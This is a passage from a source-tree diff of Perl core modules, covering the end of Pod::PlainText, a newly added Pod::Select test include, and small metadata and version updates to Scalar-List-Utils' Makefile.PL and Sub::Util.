+ my $output = $self->reformat ($tag);
+ $output =~ s/[\r\n]*$/\n/;
+ $self->output ($output);
+ $$self{MARGIN} = $margin;
+ $self->output ($self->reformat ($_)) if /\S/;
+ } else {
+ $_ = $self->reformat ($_);
+ s/^ /:/ if ($$self{alt} && $indent > 0);
+ my $tagspace = ' ' x length $tag;
+ s/^($space)$tagspace/$1$tag/ or carp 'Bizarre space in item';
+ $self->output ($_);
+ }
+}
+
+
+############################################################################
+# Output formatting
+############################################################################
+
+# Wrap a line, indenting by the current left margin. We can't use
+# Text::Wrap because it plays games with tabs. We can't use formline, even
+# though we'd really like to, because it screws up non-printing characters.
+# So we have to do the wrapping ourselves.
+sub wrap {
+ my $self = shift;
+ local $_ = shift;
+ my $output = '';
+ my $spaces = ' ' x $$self{MARGIN};
+ my $width = $$self{width} - $$self{MARGIN};
+ while (length > $width) {
+ if (s/^([^\r\n]{0,$width})\s+// || s/^([^\r\n]{$width})//) {
+ $output .= $spaces . $1 . "\n";
+ } else {
+ last;
+ }
+ }
+ $output .= $spaces . $_;
+ $output =~ s/\s+$/\n\n/;
+ return $output;
+}
+
+# Reformat a paragraph of text for the current margin. Takes the text to
+# reformat and returns the formatted text.
+sub reformat {
+ my $self = shift;
+ local $_ = shift;
+
+ # If we're trying to preserve two spaces after sentences, do some
+ # munging to support that. Otherwise, smash all repeated whitespace.
+ if ($$self{sentence}) {
+ s/ +$//mg;
+ s/\.\r?\n/. \n/g;
+ s/[\r\n]+/ /g;
+ s/ +/ /g;
+ } else {
+ s/\s+/ /g;
+ }
+ return $self->wrap($_);
+}
+
+# Output text to the output device.
+sub output { $_[1] =~ tr/\01/ /; print { $_[0]->output_handle } $_[1] }
+
+
+############################################################################
+# Backwards compatibility
+############################################################################
+
+# The old Pod::Text module did everything in a pod2text() function. This
+# tries to provide the same interface for legacy applications.
+sub pod2text {
+ my @args;
+
+ # This is really ugly; I hate doing option parsing in the middle of a
+ # module. But the old Pod::Text module supported passing flags to its
+ # entry function, so handle -a and -<number>.
+ while ($_[0] =~ /^-/) {
+ my $flag = shift;
+ if ($flag eq '-a') { push (@args, alt => 1) }
+ elsif ($flag =~ /^-(\d+)$/) { push (@args, width => $1) }
+ else {
+ unshift (@_, $flag);
+ last;
+ }
+ }
+
+ # Now that we know what arguments we're using, create the parser.
+ my $parser = Pod::PlainText->new (@args);
+
+ # If two arguments were given, the second argument is going to be a file
+ # handle. That means we want to call parse_from_filehandle(), which
+ # means we need to turn the first argument into a file handle. Magic
+ # open will handle the <&STDIN case automagically.
+ if (defined $_[1]) {
+ my $infh;
+ if ($] < 5.006) {
+ $infh = gensym();
+ }
+ unless (open ($infh, $_[0])) {
+ croak ("Can't open $_[0] for reading: $!\n");
+ }
+ $_[0] = $infh;
+ return $parser->parse_from_filehandle (@_);
+ } else {
+ return $parser->parse_from_file (@_);
+ }
+}
+
+
+############################################################################
+# Module return value and documentation
+############################################################################
+
+1;
+__END__
+
+=head1 NAME
+
+Pod::PlainText - Convert POD data to formatted ASCII text
+
+=head1 SYNOPSIS
+
+ use Pod::PlainText;
+ my $parser = Pod::PlainText->new (sentence => 0, width => 78);
+
+ # Read POD from STDIN and write to STDOUT.
+ $parser->parse_from_filehandle;
+
+ # Read POD from file.pod and write to file.txt.
+ $parser->parse_from_file ('file.pod', 'file.txt');
+
+=head1 DESCRIPTION
+
+Pod::PlainText is a module that can convert documentation in the POD format (the
+preferred language for documenting Perl) into formatted ASCII. It uses no
+special formatting controls or codes whatsoever, and its output is therefore
+suitable for nearly any device.
+
+As a derived class from Pod::Parser, Pod::PlainText supports the same methods and
+interfaces. See L<Pod::Parser> for all the details; briefly, one creates a
+new parser with C<Pod::PlainText-E<gt>new()> and then calls either
+parse_from_filehandle() or parse_from_file().
+
+new() can take options, in the form of key/value pairs, that control the
+behavior of the parser. The currently recognized options are:
+
+=over 4
+
+=item alt
+
+If set to a true value, selects an alternate output format that, among other
+things, uses a different heading style and marks C<=item> entries with a
+colon in the left margin. Defaults to false.
+
+=item indent
+
+The number of spaces to indent regular text, and the default indentation for
+C<=over> blocks. Defaults to 4.
+
+=item loose
+
+If set to a true value, a blank line is printed after a C<=headN> headings.
+If set to false (the default), no blank line is printed after C<=headN>.
+This is the default because it's the expected formatting for manual pages;
+if you're formatting arbitrary text documents, setting this to true may
+result in more pleasing output.
+
+=item sentence
+
+If set to a true value, Pod::PlainText will assume that each sentence ends in two
+spaces, and will try to preserve that spacing. If set to false, all
+consecutive whitespace in non-verbatim paragraphs is compressed into a
+single space. Defaults to true.
+
+=item width
+
+The column at which to wrap text on the right-hand side. Defaults to 76.
+
+=back
+
+The standard Pod::Parser method parse_from_filehandle() takes up to two
+arguments, the first being the file handle to read POD from and the second
+being the file handle to write the formatted output to. The first defaults
+to STDIN if not given, and the second defaults to STDOUT. The method
+parse_from_file() is almost identical, except that its two arguments are the
+input and output disk files instead. See L<Pod::Parser> for the specific
+details.
+
+=head1 DIAGNOSTICS
+
+=over 4
+
+=item Bizarre space in item
+
+(W) Something has gone wrong in internal C<=item> processing. This message
+indicates a bug in Pod::PlainText; you should never see it.
+
+=item Can't open %s for reading: %s
+
+(F) Pod::PlainText was invoked via the compatibility mode pod2text() interface
+and the input file it was given could not be opened.
+
+=item Unknown escape: %s
+
+(W) The POD source contained an C<EE<lt>E<gt>> escape that Pod::PlainText didn't
+know about.
+
+=item Unknown sequence: %s
+
+(W) The POD source contained a non-standard internal sequence (something of
+the form C<XE<lt>E<gt>>) that Pod::PlainText didn't know about.
+
+=item Unmatched =back
+
+(W) Pod::PlainText encountered a C<=back> command that didn't correspond to an
+C<=over> command.
+
+=back
+
+=head1 RESTRICTIONS
+
+Embedded Ctrl-As (octal 001) in the input will be mapped to spaces on
+output, due to an internal implementation detail.
+
+=head1 NOTES
+
+This is a replacement for an earlier Pod::Text module written by Tom
+Christiansen. It has a revamped interface, since it now uses Pod::Parser,
+but an interface roughly compatible with the old Pod::Text::pod2text()
+function is still available. Please change to the new calling convention,
+though.
+
+The original Pod::Text contained code to do formatting via termcap
+sequences, although it wasn't turned on by default and it was problematic to
+get it to work at all. This rewrite doesn't even try to do that, but a
+subclass of it does. Look for L<Pod::Text::Termcap|Pod::Text::Termcap>.
+
+=head1 SEE ALSO
+
+B<Pod::PlainText> is part of the L<Pod::Parser> distribution.
+
+L<Pod::Parser|Pod::Parser>, L<Pod::Text::Termcap|Pod::Text::Termcap>,
+pod2text(1)
+
+=head1 AUTHOR
+
+Please report bugs using L<http://rt.cpan.org>.
+
+Russ Allbery E<lt>rra@stanford.eduE<gt>, based I<very> heavily on the
+original Pod::Text by Tom Christiansen E<lt>tchrist@mox.perl.comE<gt> and
+its conversion to Pod::Parser by Brad Appleton
+E<lt>bradapp@enteract.comE<gt>.
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/Select.pm b/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/Select.pm
new file mode 100644
index 00000000000..148b5d17cfb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Pod-Usage/t/inc/Pod/Select.pm
@@ -0,0 +1,748 @@
+#############################################################################
+# Pod/Select.pm -- function to select portions of POD docs
+#
+# Copyright (C) 1996-2000 by Bradford Appleton. All rights reserved.
+# This file is part of "PodParser". PodParser is free software;
+# you can redistribute it and/or modify it under the same terms
+# as Perl itself.
+#############################################################################
+
+package Pod::Select;
+use strict;
+
+use vars qw($VERSION @ISA @EXPORT $MAX_HEADING_LEVEL %myData @section_headings @selected_sections);
+$VERSION = '1.60'; ## Current version of this package
+require 5.005; ## requires this Perl version or later
+
+#############################################################################
+
+=head1 NAME
+
+Pod::Select, podselect() - extract selected sections of POD from input
+
+=head1 SYNOPSIS
+
+ use Pod::Select;
+
+ ## Select all the POD sections for each file in @filelist
+ ## and print the result on standard output.
+ podselect(@filelist);
+
+ ## Same as above, but write to tmp.out
+ podselect({-output => "tmp.out"}, @filelist):
+
+ ## Select from the given filelist, only those POD sections that are
+ ## within a 1st level section named any of: NAME, SYNOPSIS, OPTIONS.
+ podselect({-sections => ["NAME|SYNOPSIS", "OPTIONS"]}, @filelist):
+
+ ## Select the "DESCRIPTION" section of the PODs from STDIN and write
+ ## the result to STDERR.
+ podselect({-output => ">&STDERR", -sections => ["DESCRIPTION"]}, \*STDIN);
+
+or
+
+ use Pod::Select;
+
+ ## Create a parser object for selecting POD sections from the input
+ $parser = new Pod::Select();
+
+ ## Select all the POD sections for each file in @filelist
+ ## and print the result to tmp.out.
+ $parser->parse_from_file("<&STDIN", "tmp.out");
+
+ ## Select from the given filelist, only those POD sections that are
+ ## within a 1st level section named any of: NAME, SYNOPSIS, OPTIONS.
+ $parser->select("NAME|SYNOPSIS", "OPTIONS");
+ for (@filelist) { $parser->parse_from_file($_); }
+
+ ## Select the "DESCRIPTION" and "SEE ALSO" sections of the PODs from
+ ## STDIN and write the result to STDERR.
+ $parser->select("DESCRIPTION");
+ $parser->add_selection("SEE ALSO");
+ $parser->parse_from_filehandle(\*STDIN, \*STDERR);
+
+=head1 REQUIRES
+
+perl5.005, Pod::Parser, Exporter, Carp
+
+=head1 EXPORTS
+
+podselect()
+
+=head1 DESCRIPTION
+
+B<podselect()> is a function which will extract specified sections of
+pod documentation from an input stream. This ability is provided by the
+B<Pod::Select> module which is a subclass of B<Pod::Parser>.
+B<Pod::Select> provides a method named B<select()> to specify the set of
+POD sections to select for processing/printing. B<podselect()> merely
+creates a B<Pod::Select> object and then invokes the B<podselect()>
+followed by B<parse_from_file()>.
+
+=head1 SECTION SPECIFICATIONS
+
+B<podselect()> and B<Pod::Select::select()> may be given one or more
+"section specifications" to restrict the text processed to only the
+desired set of sections and their corresponding subsections. A section
+specification is a string containing one or more Perl-style regular
+expressions separated by forward slashes ("/"). If you need to use a
+forward slash literally within a section title you can escape it with a
+backslash ("\/").
+
+The formal syntax of a section specification is:
+
+=over 4
+
+=item *
+
+I<head1-title-regex>/I<head2-title-regex>/...
+
+=back
+
+Any omitted or empty regular expressions will default to ".*".
+Please note that each regular expression given is implicitly
+anchored by adding "^" and "$" to the beginning and end. Also, if a
+given regular expression starts with a "!" character, then the
+expression is I<negated> (so C<!foo> would match anything I<except>
+C<foo>).
+
+Some example section specifications follow.
+
+=over 4
+
+=item *
+
+Match the C<NAME> and C<SYNOPSIS> sections and all of their subsections:
+
+C<NAME|SYNOPSIS>
+
+=item *
+
+Match only the C<Question> and C<Answer> subsections of the C<DESCRIPTION>
+section:
+
+C<DESCRIPTION/Question|Answer>
+
+=item *
+
+Match the C<Comments> subsection of I<all> sections:
+
+C</Comments>
+
+=item *
+
+Match all subsections of C<DESCRIPTION> I<except> for C<Comments>:
+
+C<DESCRIPTION/!Comments>
+
+=item *
+
+Match the C<DESCRIPTION> section but do I<not> match any of its subsections:
+
+C<DESCRIPTION/!.+>
+
+=item *
+
+Match all top level sections but none of their subsections:
+
+C</!.+>
+
+=back
+
+=begin _NOT_IMPLEMENTED_
+
+=head1 RANGE SPECIFICATIONS
+
+B<podselect()> and B<Pod::Select::select()> may be given one or more
+"range specifications" to restrict the text processed to only the
+desired ranges of paragraphs in the desired set of sections. A range
+specification is a string containing a single Perl-style regular
+expression (a regex), or else two Perl-style regular expressions
+(regexs) separated by a ".." (Perl's "range" operator is "..").
+The regexs in a range specification are delimited by forward slashes
+("/"). If you need to use a forward slash literally within a regex you
+can escape it with a backslash ("\/").
+
+The formal syntax of a range specification is:
+
+=over 4
+
+=item *
+
+/I<start-range-regex>/[../I<end-range-regex>/]
+
+=back
+
+Where each the item inside square brackets (the ".." followed by the
+end-range-regex) is optional. Each "range-regex" is of the form:
+
+ =cmd-expr text-expr
+
+Where I<cmd-expr> is intended to match the name of one or more POD
+commands, and I<text-expr> is intended to match the paragraph text for
+the command. If a range-regex is supposed to match a POD command, then
+the first character of the regex (the one after the initial '/')
+absolutely I<must> be a single '=' character; it may not be anything
+else (not even a regex meta-character) if it is supposed to match
+against the name of a POD command.
+
+If no I<=cmd-expr> is given then the text-expr will be matched against
+plain textblocks unless it is preceded by a space, in which case it is
+matched against verbatim text-blocks. If no I<text-expr> is given then
+only the command-portion of the paragraph is matched against.
+
+Note that these two expressions are each implicitly anchored. This
+means that when matching against the command-name, there will be an
+implicit '^' and '$' around the given I<=cmd-expr>; and when matching
+against the paragraph text there will be an implicit '\A' and '\Z'
+around the given I<text-expr>.
+
+Unlike with section-specs, the '!' character does I<not> have any special
+meaning (negation or otherwise) at the beginning of a range-spec!
+
+Some example range specifications follow.
+
+=over 4
+
+=item
+Match all C<=for html> paragraphs:
+
+C</=for html/>
+
+=item
+Match all paragraphs between C<=begin html> and C<=end html>
+(note that this will I<not> work correctly if such sections
+are nested):
+
+C</=begin html/../=end html/>
+
+=item
+Match all paragraphs between the given C<=item> name until the end of the
+current section:
+
+C</=item mine/../=head\d/>
+
+=item
+Match all paragraphs between the given C<=item> until the next item, or
+until the end of the itemized list (note that this will I<not> work as
+desired if the item contains an itemized list nested within it):
+
+C</=item mine/../=(item|back)/>
+
+=back
+
+=end _NOT_IMPLEMENTED_
+
+=cut
+
+#############################################################################
+
+#use diagnostics;
+use Carp;
+use Pod::Parser 1.04;
+
+@ISA = qw(Pod::Parser);
+@EXPORT = qw(&podselect);
+
+## Maximum number of heading levels supported for '=headN' directives
+*MAX_HEADING_LEVEL = \3;
+
+#############################################################################
+
+=head1 OBJECT METHODS
+
+The following methods are provided in this module. Each one takes a
+reference to the object itself as an implicit first parameter.
+
+=cut
+
+##---------------------------------------------------------------------------
+
+## =begin _PRIVATE_
+##
+## =head1 B<_init_headings()>
+##
+## Initialize the current set of active section headings.
+##
+## =cut
+##
+## =end _PRIVATE_
+
+sub _init_headings {
+ my $self = shift;
+ local *myData = $self;
+
+ ## Initialize current section heading titles if necessary
+ unless (defined $myData{_SECTION_HEADINGS}) {
+ local *section_headings = $myData{_SECTION_HEADINGS} = [];
+ for (my $i = 0; $i < $MAX_HEADING_LEVEL; ++$i) {
+ $section_headings[$i] = '';
+ }
+ }
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<curr_headings()>
+
+ ($head1, $head2, $head3, ...) = $parser->curr_headings();
+ $head1 = $parser->curr_headings(1);
+
+This method returns a list of the currently active section headings and
+subheadings in the document being parsed. The list of headings returned
+corresponds to the most recently parsed paragraph of the input.
+
+If an argument is given, it must correspond to the desired section
+heading number, in which case only the specified section heading is
+returned. If there is no current section heading at the specified
+level, then C<undef> is returned.
+
+=cut
+
+sub curr_headings {
+ my $self = shift;
+ $self->_init_headings() unless (defined $self->{_SECTION_HEADINGS});
+ my @headings = @{ $self->{_SECTION_HEADINGS} };
+ return (@_ > 0 and $_[0] =~ /^\d+$/) ? $headings[$_[0] - 1] : @headings;
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<select()>
+
+ $parser->select($section_spec1,$section_spec2,...);
+
+This method is used to select the particular sections and subsections of
+POD documentation that are to be printed and/or processed. The existing
+set of selected sections is I<replaced> with the given set of sections.
+See B<add_selection()> for adding to the current set of selected
+sections.
+
+Each of the C<$section_spec> arguments should be a section specification
+as described in L<"SECTION SPECIFICATIONS">. The section specifications
+are parsed by this method and the resulting regular expressions are
+stored in the invoking object.
+
+If no C<$section_spec> arguments are given, then the existing set of
+selected sections is cleared out (which means C<all> sections will be
+processed).
+
+This method should I<not> normally be overridden by subclasses.
+
+=cut
+
+sub select {
+ my ($self, @sections) = @_;
+ local *myData = $self;
+ local $_;
+
+### NEED TO DISCERN A SECTION-SPEC FROM A RANGE-SPEC (look for m{^/.+/$}?)
+
+ ##---------------------------------------------------------------------
+ ## The following is a blatant hack for backward compatibility, and for
+ ## implementing add_selection(). If the *first* *argument* is the
+ ## string "+", then the remaining section specifications are *added*
+ ## to the current set of selections; otherwise the given section
+ ## specifications will *replace* the current set of selections.
+ ##
+ ## This should probably be fixed someday, but for the present time,
+ ## it seems incredibly unlikely that "+" would ever correspond to
+ ## a legitimate section heading
+ ##---------------------------------------------------------------------
+ my $add = ($sections[0] eq '+') ? shift(@sections) : '';
+
+ ## Reset the set of sections to use
+ unless (@sections) {
+ delete $myData{_SELECTED_SECTIONS} unless ($add);
+ return;
+ }
+ $myData{_SELECTED_SECTIONS} = []
+ unless ($add && exists $myData{_SELECTED_SECTIONS});
+ local *selected_sections = $myData{_SELECTED_SECTIONS};
+
+ ## Compile each spec
+ for my $spec (@sections) {
+ if ( defined($_ = _compile_section_spec($spec)) ) {
+ ## Store them in our sections array
+ push(@selected_sections, $_);
+ }
+ else {
+ carp qq{Ignoring section spec "$spec"!\n};
+ }
+ }
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<add_selection()>
+
+ $parser->add_selection($section_spec1,$section_spec2,...);
+
+This method is used to add to the currently selected sections and
+subsections of POD documentation that are to be printed and/or
+processed. See <select()> for replacing the currently selected sections.
+
+Each of the C<$section_spec> arguments should be a section specification
+as described in L<"SECTION SPECIFICATIONS">. The section specifications
+are parsed by this method and the resulting regular expressions are
+stored in the invoking object.
+
+This method should I<not> normally be overridden by subclasses.
+
+=cut
+
+sub add_selection {
+ my $self = shift;
+ return $self->select('+', @_);
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<clear_selections()>
+
+ $parser->clear_selections();
+
+This method takes no arguments, it has the exact same effect as invoking
+<select()> with no arguments.
+
+=cut
+
+sub clear_selections {
+ my $self = shift;
+ return $self->select();
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<match_section()>
+
+ $boolean = $parser->match_section($heading1,$heading2,...);
+
+Returns a value of true if the given section and subsection heading
+titles match any of the currently selected section specifications in
+effect from prior calls to B<select()> and B<add_selection()> (or if
+there are no explicitly selected/deselected sections).
+
+The arguments C<$heading1>, C<$heading2>, etc. are the heading titles of
+the corresponding sections, subsections, etc. to try and match. If
+C<$headingN> is omitted then it defaults to the current corresponding
+section heading title in the input.
+
+This method should I<not> normally be overridden by subclasses.
+
+=cut
+
+sub match_section {
+ my $self = shift;
+ my (@headings) = @_;
+ local *myData = $self;
+
+ ## Return true if no restrictions were explicitly specified
+ my $selections = (exists $myData{_SELECTED_SECTIONS})
+ ? $myData{_SELECTED_SECTIONS} : undef;
+ return 1 unless ((defined $selections) && @{$selections});
+
+ ## Default any unspecified sections to the current one
+ my @current_headings = $self->curr_headings();
+ for (my $i = 0; $i < $MAX_HEADING_LEVEL; ++$i) {
+ (defined $headings[$i]) or $headings[$i] = $current_headings[$i];
+ }
+
+ ## Look for a match against the specified section expressions
+ for my $section_spec ( @{$selections} ) {
+ ##------------------------------------------------------
+ ## Each portion of this spec must match in order for
+ ## the spec to be matched. So we will start with a
+ ## match-value of 'true' and logically 'and' it with
+ ## the results of matching a given element of the spec.
+ ##------------------------------------------------------
+ my $match = 1;
+ for (my $i = 0; $i < $MAX_HEADING_LEVEL; ++$i) {
+ my $regex = $section_spec->[$i];
+ my $negated = ($regex =~ s/^\!//);
+ $match &= ($negated ? ($headings[$i] !~ /${regex}/)
+ : ($headings[$i] =~ /${regex}/));
+ last unless ($match);
+ }
+ return 1 if ($match);
+ }
+ return 0; ## no match
+}
+
+##---------------------------------------------------------------------------
+
+=head1 B<is_selected()>
+
+ $boolean = $parser->is_selected($paragraph);
+
+This method is used to determine if the block of text given in
+C<$paragraph> falls within the currently selected set of POD sections
+and subsections to be printed or processed. This method is also
+responsible for keeping track of the current input section and
+subsections. It is assumed that C<$paragraph> is the most recently read
+(but not yet processed) input paragraph.
+
+The value returned will be true if the C<$paragraph> and the rest of the
+text in the same section as C<$paragraph> should be selected (included)
+for processing; otherwise a false value is returned.
+
+=cut
+
+sub is_selected {
+ my ($self, $paragraph) = @_;
+ local $_;
+ local *myData = $self;
+
+ $self->_init_headings() unless (defined $myData{_SECTION_HEADINGS});
+
+ ## Keep track of current sections levels and headings
+ $_ = $paragraph;
+ if (/^=((?:sub)*)(?:head(?:ing)?|sec(?:tion)?)(\d*)\s+(.*?)\s*$/)
+ {
+ ## This is a section heading command
+ my ($level, $heading) = ($2, $3);
+ $level = 1 + (length($1) / 3) if ((! length $level) || (length $1));
+ ## Reset the current section heading at this level
+ $myData{_SECTION_HEADINGS}->[$level - 1] = $heading;
+ ## Reset subsection headings of this one to empty
+ for (my $i = $level; $i < $MAX_HEADING_LEVEL; ++$i) {
+ $myData{_SECTION_HEADINGS}->[$i] = '';
+ }
+ }
+
+ return $self->match_section();
+}
+
+#############################################################################
+
+=head1 EXPORTED FUNCTIONS
+
+The following functions are exported by this module. Please note that
+these are functions (not methods) and therefore C<do not> take an
+implicit first argument.
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=head1 B<podselect()>
+
+ podselect(\%options,@filelist);
+
+B<podselect> will print the raw (untranslated) POD paragraphs of all
+POD sections in the given input files specified by C<@filelist>
+according to the given options.
+
+If any argument to B<podselect> is a reference to a hash
+(associative array) then the values with the following keys are
+processed as follows:
+
+=over 4
+
+=item B<-output>
+
+A string corresponding to the desired output file (or ">&STDOUT"
+or ">&STDERR"). The default is to use standard output.
+
+=item B<-sections>
+
+A reference to an array of sections specifications (as described in
+L<"SECTION SPECIFICATIONS">) which indicate the desired set of POD
+sections and subsections to be selected from input. If no section
+specifications are given, then all sections of the PODs are used.
+
+=begin _NOT_IMPLEMENTED_
+
+=item B<-ranges>
+
+A reference to an array of range specifications (as described in
+L<"RANGE SPECIFICATIONS">) which indicate the desired range of POD
+paragraphs to be selected from the desired input sections. If no range
+specifications are given, then all paragraphs of the desired sections
+are used.
+
+=end _NOT_IMPLEMENTED_
+
+=back
+
+All other arguments should correspond to the names of input files
+containing POD sections. A file name of "-" or "<&STDIN" will
+be interpreted to mean standard input (which is the default if no
+filenames are given).
+
+=cut
+
+sub podselect {
+ my(@argv) = @_;
+ my %defaults = ();
+ my $pod_parser = new Pod::Select(%defaults);
+ my $num_inputs = 0;
+ my $output = '>&STDOUT';
+ my %opts;
+ local $_;
+ for (@argv) {
+ if (ref($_)) {
+ next unless (ref($_) eq 'HASH');
+ %opts = (%defaults, %{$_});
+
+ ##-------------------------------------------------------------
+ ## Need this for backward compatibility since we formerly used
+ ## options that were all uppercase words rather than ones that
+ ## looked like Unix command-line options.
+ ## to be uppercase keywords)
+ ##-------------------------------------------------------------
+ %opts = map {
+ my ($key, $val) = (lc $_, $opts{$_});
+ $key =~ s/^(?=\w)/-/;
+ $key =~ /^-se[cl]/ and $key = '-sections';
+ #! $key eq '-range' and $key .= 's';
+ ($key => $val);
+ } (keys %opts);
+
+ ## Process the options
+ (exists $opts{'-output'}) and $output = $opts{'-output'};
+
+ ## Select the desired sections
+ $pod_parser->select(@{ $opts{'-sections'} })
+ if ( (defined $opts{'-sections'})
+ && ((ref $opts{'-sections'}) eq 'ARRAY') );
+
+ #! ## Select the desired paragraph ranges
+ #! $pod_parser->select(@{ $opts{'-ranges'} })
+ #! if ( (defined $opts{'-ranges'})
+ #! && ((ref $opts{'-ranges'}) eq 'ARRAY') );
+ }
+ else {
+ $pod_parser->parse_from_file($_, $output);
+ ++$num_inputs;
+ }
+ }
+ $pod_parser->parse_from_file('-') unless ($num_inputs > 0);
+}
+
+#############################################################################
+
+=head1 PRIVATE METHODS AND DATA
+
+B<Pod::Select> makes uses a number of internal methods and data fields
+which clients should not need to see or use. For the sake of avoiding
+name collisions with client data and methods, these methods and fields
+are briefly discussed here. Determined hackers may obtain further
+information about them by reading the B<Pod::Select> source code.
+
+Private data fields are stored in the hash-object whose reference is
+returned by the B<new()> constructor for this class. The names of all
+private methods and data-fields used by B<Pod::Select> begin with a
+prefix of "_" and match the regular expression C</^_\w+$/>.
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=begin _PRIVATE_
+
+=head1 B<_compile_section_spec()>
+
+ $listref = $parser->_compile_section_spec($section_spec);
+
+This function (note it is a function and I<not> a method) takes a
+section specification (as described in L<"SECTION SPECIFICATIONS">)
+given in C<$section_sepc>, and compiles it into a list of regular
+expressions. If C<$section_spec> has no syntax errors, then a reference
+to the list (array) of corresponding regular expressions is returned;
+otherwise C<undef> is returned and an error message is printed (using
+B<carp>) for each invalid regex.
+
+=end _PRIVATE_
+
+=cut
+
+sub _compile_section_spec {
+ my ($section_spec) = @_;
+ my (@regexs, $negated);
+
+ ## Compile the spec into a list of regexs
+ local $_ = $section_spec;
+ s{\\\\}{\001}g; ## handle escaped backward slashes
+ s{\\/}{\002}g; ## handle escaped forward slashes
+
+ ## Parse the regexs for the heading titles
+ @regexs = split(/\//, $_, $MAX_HEADING_LEVEL);
+
+ ## Set default regex for ommitted levels
+ for (my $i = 0; $i < $MAX_HEADING_LEVEL; ++$i) {
+ $regexs[$i] = '.*' unless ((defined $regexs[$i])
+ && (length $regexs[$i]));
+ }
+ ## Modify the regexs as needed and validate their syntax
+ my $bad_regexs = 0;
+ for (@regexs) {
+ $_ .= '.+' if ($_ eq '!');
+ s{\001}{\\\\}g; ## restore escaped backward slashes
+ s{\002}{\\/}g; ## restore escaped forward slashes
+ $negated = s/^\!//; ## check for negation
+ eval "m{$_}"; ## check regex syntax
+ if ($@) {
+ ++$bad_regexs;
+ carp qq{Bad regular expression /$_/ in "$section_spec": $@\n};
+ }
+ else {
+ ## Add the forward and rear anchors (and put the negator back)
+ $_ = '^' . $_ unless (/^\^/);
+ $_ = $_ . '$' unless (/\$$/);
+ $_ = '!' . $_ if ($negated);
+ }
+ }
+ return (! $bad_regexs) ? [ @regexs ] : undef;
+}
+
+##---------------------------------------------------------------------------
+
+=begin _PRIVATE_
+
+=head2 $self->{_SECTION_HEADINGS}
+
+A reference to an array of the current section heading titles for each
+heading level (note that the first heading level title is at index 0).
+
+=end _PRIVATE_
+
+=cut
+
+##---------------------------------------------------------------------------
+
+=begin _PRIVATE_
+
+=head2 $self->{_SELECTED_SECTIONS}
+
+A reference to an array of references to arrays. Each subarray is a list
+of anchored regular expressions (preceded by a "!" if the expression is to
+be negated). The index of the expression in the subarray should correspond
+to the index of the heading title in C<$self-E<gt>{_SECTION_HEADINGS}>
+that it is to be matched against.
+
+=end _PRIVATE_
+
+=cut
+
+#############################################################################
+
+=head1 SEE ALSO
+
+L<Pod::Parser>
+
+=head1 AUTHOR
+
+Please report bugs using L<http://rt.cpan.org>.
+
+Brad Appleton E<lt>bradapp@enteract.comE<gt>
+
+Based on code for B<pod2text> written by
+Tom Christiansen E<lt>tchrist@mox.perl.comE<gt>
+
+B<Pod::Select> is part of the L<Pod::Parser> distribution.
+
+=cut
+
+1;
+# vim: ts=4 sw=4 et
diff --git a/gnu/usr.bin/perl/cpan/Scalar-List-Utils/Makefile.PL b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/Makefile.PL
index 5068e34598e..37bd104b409 100644
--- a/gnu/usr.bin/perl/cpan/Scalar-List-Utils/Makefile.PL
+++ b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/Makefile.PL
@@ -11,7 +11,7 @@ WriteMakefile(
NAME => q[List::Util],
ABSTRACT => q[Common Scalar and List utility subroutines],
AUTHOR => q[Graham Barr <gbarr@cpan.org>],
- DEFINE => q[-DPERL_EXT],
+ DEFINE => ($ENV{PERL_CORE} ? q[-DPERL_EXT] : q[-DPERL_EXT -DUSE_PPPORT_H]),
DISTNAME => q[Scalar-List-Utils],
VERSION_FROM => 'lib/List/Util.pm',
@@ -28,13 +28,24 @@ WriteMakefile(
( $PERL_CORE
? ()
: (
- INSTALLDIRS => ($] < 5.011 ? q[perl] : q[site]),
- PREREQ_PM => {'Test::More' => 0,},
+ INSTALLDIRS => ($] < 5.011 ? q[perl] : q[site]),
+ PREREQ_PM => {'Test::More' => 0,},
(eval { ExtUtils::MakeMaker->VERSION(6.31) } ? (LICENSE => 'perl') : ()),
+ (eval { ExtUtils::MakeMaker->VERSION(6.48) } ? (MIN_PERL_VERSION => '5.006') : ()),
( eval { ExtUtils::MakeMaker->VERSION(6.46) } ? (
META_MERGE => {
+ 'meta-spec' => { version => 2 },
+ dynamic_config => 0,
resources => { ##
- repository => 'https://github.com/Scalar-List-Utils/Scalar-List-Utils',
+ repository => {
+ url => 'https://github.com/Scalar-List-Utils/Scalar-List-Utils.git',
+ web => 'https://github.com/Scalar-List-Utils/Scalar-List-Utils',
+ type => 'git',
+ },
+ bugtracker => {
+ mailto => 'bug-Scalar-List-Utils@rt.cpan.org',
+ web => 'https://rt.cpan.org/Public/Dist/Display.html?Name=Scalar-List-Utils',
+ },
},
}
)
@@ -43,4 +54,3 @@ WriteMakefile(
)
),
);
-
diff --git a/gnu/usr.bin/perl/cpan/Scalar-List-Utils/lib/Sub/Util.pm b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/lib/Sub/Util.pm
index 1bf58788869..edcc6544f6e 100644
--- a/gnu/usr.bin/perl/cpan/Scalar-List-Utils/lib/Sub/Util.pm
+++ b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/lib/Sub/Util.pm
@@ -15,7 +15,7 @@ our @EXPORT_OK = qw(
subname set_subname
);
-our $VERSION = "1.42_02";
+our $VERSION = "1.50";
$VERSION = eval $VERSION;
require List::Util; # as it has the XS
@@ -102,7 +102,7 @@ This function was inspired by C<sub_fullname> from L<Sub::Identify>. The
remaining functions that C<Sub::Identify> implements can easily be emulated
using regexp operations, such as
- sub get_code_info { return (subname $_[0]) =~ m/^(.+)::(.+?)$/ }
+ sub get_code_info { return (subname $_[0]) =~ m/^(.+)::(.*?)$/ }
sub sub_name { return (get_code_info $_[0])[0] }
sub stash_name { return (get_code_info $_[0])[1] }
diff --git a/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/exotic_names.t b/gnu/usr.bin/perl/cpan/Scalar-List-Utils/t/exotic_names.t
new file mode 100644
index 00000000000..cb5d2cc9f2d
--- /dev/null
